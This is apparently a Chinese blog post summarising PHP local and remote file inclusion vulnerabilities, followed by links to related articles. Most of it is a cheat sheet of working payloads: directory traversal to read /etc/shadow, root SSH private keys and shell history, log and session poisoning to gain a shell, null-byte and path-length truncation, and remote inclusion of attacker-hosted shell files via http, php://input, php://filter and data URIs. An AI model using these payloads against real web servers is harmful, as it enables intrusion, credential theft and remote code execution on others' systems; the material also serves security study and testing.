PHP文件包含漏洞总结
0x00 前言
PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
最常见的就属于本地文件包含(Local File Inclusion)漏洞了。
我们来看下面一段index.php代码:
include $_GET['func'];
} else {
include 'default.php';
}
|
1
2
3
4
5
|
if ($_GET['func']) {
include $_GET['func'];
} else {
include 'default.php';
}
|
程序的本意可能是当提交url为http://example.com/index.php?func=add.php时,调用add.php里面的样式内容和功能。直接访问http://example.com/index.php则会包含默认的default.php
那么问题来了,如果我们提交http://example.com/index.php?func=upload/pic/evil.jpg ,且evil.jpg是由黑客上传到服务器上的一个图片,在图片的末尾添加了恶意的php代码,那么恶意的代码就会被引入当前文件执行。

如果被包含的文件中无有效的php代码,则会直接把文件内容输出。
在接下来的内容中会以代码样本作为例子,来给大家介绍各种奇葩猥琐的利用姿势。
0x01 普通本地文件包含
|
1
|
<?php include("inc/" . $_GET['file']); ?>
|
- 包含同目录下的文件:
?file=.htaccess - 目录遍历:
?file=../../../../../../../../../var/lib/locate.db ?file=../../../../../../../../../var/lib/mlocate/mlocate.db
(linux中这两个文件储存着所有文件的路径,需要root权限)
- 包含错误日志: ?file=../../../../../../../../../var/log/apache/error.log (试试把UA设置为“”来使payload进入日志)
- 获取web目录或者其他配置文件:
?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf
(更多→http://wiki.apache.org/httpd/DistrosDefaultLayout)
- 包含上传的附件:
?file=../attachment/media/xxx.file
- 读取session文件:
?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7
(session文件一般在/tmp目录下,格式为sess_[your phpsessid
value],有时候也有可能在/var/lib/php5之类的,在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制session的值,
也许你能够获得一个shell)
- 如果拥有root权限还可以试试读这些东西:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
/etc/shadow
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]* (文件标识符)
/proc/mounts
/proc/config.gz
- 如果有phpinfo可以包含临时文件:
参见http://hi.baidu.com/mmnwzsdvpkjovwr/item/3f7ceb39965145eea984284el
0x02 有限制的本地文件包含
|
1
|
<?php include("inc/" . $_GET['file'] . ".htm"); ?>
|
- %00截断:
?file=../../../../../../../../../etc/passwd%00
(需要 magic_quotes_gpc=off,PHP小于5.3.4有效)
- %00截断目录遍历:
?file=../../../../../../../../../var/www/%00
(需要 magic_quotes_gpc=off,unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris)
- 路径长度截断:
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
(php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256)
- 点号截断:
?file=../../../../../../../../../boot.ini/………[…]…………
(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)
0x03 普通远程文件包含
|
1
|
<?php include($_GET['file']); ?>
|
- 远程代码执行:
?file=[http|https|ftp]://example.com/shell.txt
(需要allow_url_fopen=On并且 allow_url_include=On)
- 利用php流input:
?file=php://input
(需要allow_url_include=On,详细→http://php.net/manual/en/wrappers.php.php)
- 利用php流filter:
?file=php://filter/convert.base64-encode/resource=index.php
(同上)
- 利用data URIs:
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
(需要allow_url_include=On)
- 利用XSS执行任意代码:
?file=http://127.0.0.1/path/xss.php?xss=phpcode
(需要allow_url_fopen=On,allow_url_include=On并且防火墙或者白名单不允许访问外网时,先在同站点找一个XSS漏洞,包含这个页面,就可以注入恶意代码了。条件非常极端和特殊- -)
0x04 有限制的远程文件包含
|
1
|
<?php include($_GET['file'] . ".htm"); ?>
|
- ?file=http://example.com/shell
- ?file=http://example.com/shell.txt?
- ?file=http://example.com/shell.txt%23
(需要allow_url_fopen=On并且allow_url_include=On)
- ?file=\evilshare\shell.php (只需要allow_url_include=On)
0x05 延伸
其实在前面也说了,这些漏洞产生原因是PHP函数在引入文件时,传入的文件名没有经过合理的校验,从而操作了预想之外的文件。实际上我们操作文件的函数不只是include()一个,上面提到的一些截断的方法同样可以适用于以下函数:

参考文章:
http://websec.wordpress.com/2009/11/28/freebsd-directory-listing-with-php-file-functions/
http://www.digininja.org/blog/when_all_you_can_do_is_read.php
http://wiki.apache.org/httpd/DistrosDefaultLayout
http://ddxhunter.wordpress.com/2010/03/10/lfis-exploitation-techniques/
http://www.coresec.org/2011/05/12/local-file-inclusion-to-remote-command-execution-using-ssh/
http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/
http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
http://diablohorn.wordpress.com/2010/01/16/interesting-local-file-inclusion-method/
PHP文件包含漏洞总结的更多相关文章
- PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)
摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的 ...
- phpmyadmin任意文件包含漏洞分析(含演示)
0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: ...
- PHP文件包含漏洞剖析
一. 什么才是”远程文件包含漏洞”?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. ...
- Nagios Looking Glass 本地文件包含漏洞
漏洞名称: Nagios Looking Glass 本地文件包含漏洞 CNNVD编号: CNNVD-201310-682 发布时间: 2013-10-31 更新时间: 2013-10-31 危害等级 ...
- WP e-Commerce WordPress Payment Gateways Caller插件本地文件包含漏洞
漏洞名称: WP e-Commerce WordPress Payment Gateways Caller插件本地文件包含漏洞 CNNVD编号: CNNVD-201310-642 发布时间: 2013 ...
- 百度杯”CTF比赛 2017 二月场 没错!就是文件包含漏洞。
题目源码: 文件包含漏洞的话,看一下 你么可以使用php://input 伪协议,执行代码(参考了大佬WP)这里使用了POSTMAN, 目录下还有一个dle345aae.php文件,呢么用cat命令打 ...
- phpMyAdmin 4.8.x 本地文件包含漏洞利用
phpMyAdmin 4.8.x 本地文件包含漏洞利用 今天ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell.该漏洞利用 ...
- php安全开发(1)文件包含漏洞
开发过程总结的漏洞: 一,,如何造成包含漏洞:在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶 ...
- 易酷 cms2.5 本地文件包含漏洞 getshell
易酷 cms2.5 本地文件包含漏洞 getshell 首先下载源码安装(http://127.0.0.1/test/ekucms2.5/install.php) 安装成功直接进行复现吧 本地包含一 ...
- Kali学习笔记31:目录遍历漏洞、文件包含漏洞
文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...
随机推荐
- 【Python实例二】BeautifulSoup爬虫简单实践
前言 前面安装了BeautifulSoup库,现在就来实现一下吧. 目录 一.Urllib库的使用 二.BeautifulSoup的使用 三. 一个示例 ----------------------- ...
- Python学习笔记 - day1 - 概述及安装
Python概述 Python是一种计算机程序设计语言.我们平时已经听说过很多种流行的编程语言,比如非常难学的C语言,非常流行的Java语言,适合网页编程的JavaScript语言等等. Python ...
- LeetCode Regular Expression Matching 网上一个不错的实现(非递归)
'.' Matches any single character.'*' Matches zero or more of the preceding element. The matching sho ...
- Linux下的hrtimer高精度定时器【转】
转自:http://blog.csdn.net/waverider2012/article/details/38305785 hrtimer高精度定时器的interval由ktime_set(cons ...
- scrapy的CrawlSpider使用
1.创建项目 我这里的项目名称为scrapyuniversal,然后我创建在D盘根目录.创建方法如下 打开cmd,切换到d盘根目录.然后输入以下命令: scrapy startproject scra ...
- PL/SQL 06 函数 function
--函数 create or replace function 函数名称(参数1 类型1,参数2 类型2,...) return 数据类型as 变量.常量声明;begin 代码;end; cr ...
- Python多线程常用包对比
python由于本身的特质,不能实现真正的多核并行运算,但是有一些第三方库较好地模拟了在多核环境下的并行运算,例如pp包以及multiprocessing,那么哪种更能充分利用多核心呢? 这里我简单做 ...
- 细说robots.txt
robots.txt Robots协议(也称为爬虫协议.机器人协议等)的全称是“网络爬虫排除标准”(Robots Exclusion Protocol),网站通过Robots协议告诉搜索引擎哪些页面可 ...
- 十个技巧快速优化你的Laravel 5 程序
性能一直是 Laravel 框架为人诟病的一个点,所以调优 Laravel 程序算是一个必学的技能. 接下来分享一些开发的最佳实践,还有调优技巧,大家有别的建议也欢迎留言讨论. 这里是简单的列表: 配 ...
- Laravel 中的 Many-To-Many
在实际的开发中,我们经常会接触到几种常见的对应关系模式: One-To-One //一对一 One-To-Many //一对多 Many-To-Many //多对多 在刚刚开始接触到这些概念的时候,其 ...